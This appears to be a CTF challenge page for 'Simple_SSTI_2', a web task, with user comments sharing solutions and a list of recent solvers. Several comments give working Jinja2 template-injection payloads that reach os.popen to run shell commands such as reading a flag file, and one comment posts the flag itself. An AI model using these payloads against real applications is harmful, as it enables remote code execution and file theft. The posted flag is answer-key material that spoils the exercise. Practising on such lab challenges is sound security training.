Simple_SSTI_2WEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Tokeii
一血奖励: 3金币
解  决: 16396
提  示:
描  述:
Simple_SSTI_2
评论
SecI302 3年前

寻找可引用的类"".__class__.__mro__[1].__subclasses__()然后查找os相关能执行命令的类=>os之类的然后通过BurpSuite遍历序号[231-235,262,264-396]得到可用的类最后cat flag即可

回复 0

SecI302 3年前

寻找可引用的类"".__class__.__mro__[1].__subclasses__()然后查找os相关能执行命令的类=>os之类的然后通过BurpSuite遍历序号[231-235,262,264-396]得到可用的类最后cat flag即可

回复 0

⎝ZJJARY 3年前

①{{[].__class__.__base__.__subclasses__()}}查看所有类,并找到warnings.catch_warnings类,逐个计数或者写脚本得到序号为177 ②{{[].__class__.__base__.__subclasses__()[177].__init__.__globals__['__builtins__']['__imp'+'ort__']('os

回复 2

g0207l0706 3年前

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

回复 1

18270938076 3年前

kali 进半天都没有进去啊

回复 0

kangkangki 3年前

flag{316fbc12e983db18c0584de9a1cbcee3}

回复 0

PlusJia 3年前

https://blog.csdn.net/weixin_43651049/article/details/123391624?ops_request_misc=&request_id=&biz_id=102&utm_term=Simple_SSTI_2&utm_medium=distribute.pc_search_result.none-task-blog-2~

回复 0

gtg2619 3年前

tplmap能出

回复 1

easyCtf 3年前

/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

回复 0

风灵丨玉秀 3年前

/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

回复 0

WriteUp

image
valecalida

5 金币

评分(15)

解题动态

一只小白鲸 攻破了该题 1天前
Wu. 攻破了该题 3天前
tiger1cyd 攻破了该题 4天前
qq1002517 攻破了该题 4天前
乱来小木 攻破了该题 4天前
yttitan 攻破了该题 5天前
hdcc1 攻破了该题 6天前
WYYYYTT 攻破了该题 9天前
有点易斯但不多 攻破了该题 10天前
1907104474 攻破了该题 10天前
xiaoxiaojiangshi 攻破了该题 11天前
scv 攻破了该题 12天前
flag大王 攻破了该题 12天前
藏在云层里的羊 攻破了该题 13天前
xyqsin 攻破了该题 14天前
一定要做这些吗 攻破了该题 17天前
爱意藏入虚空 攻破了该题 18天前
chenzhong 攻破了该题 19天前
kiritoldws 攻破了该题 20天前
evilk 攻破了该题 20天前
问题反馈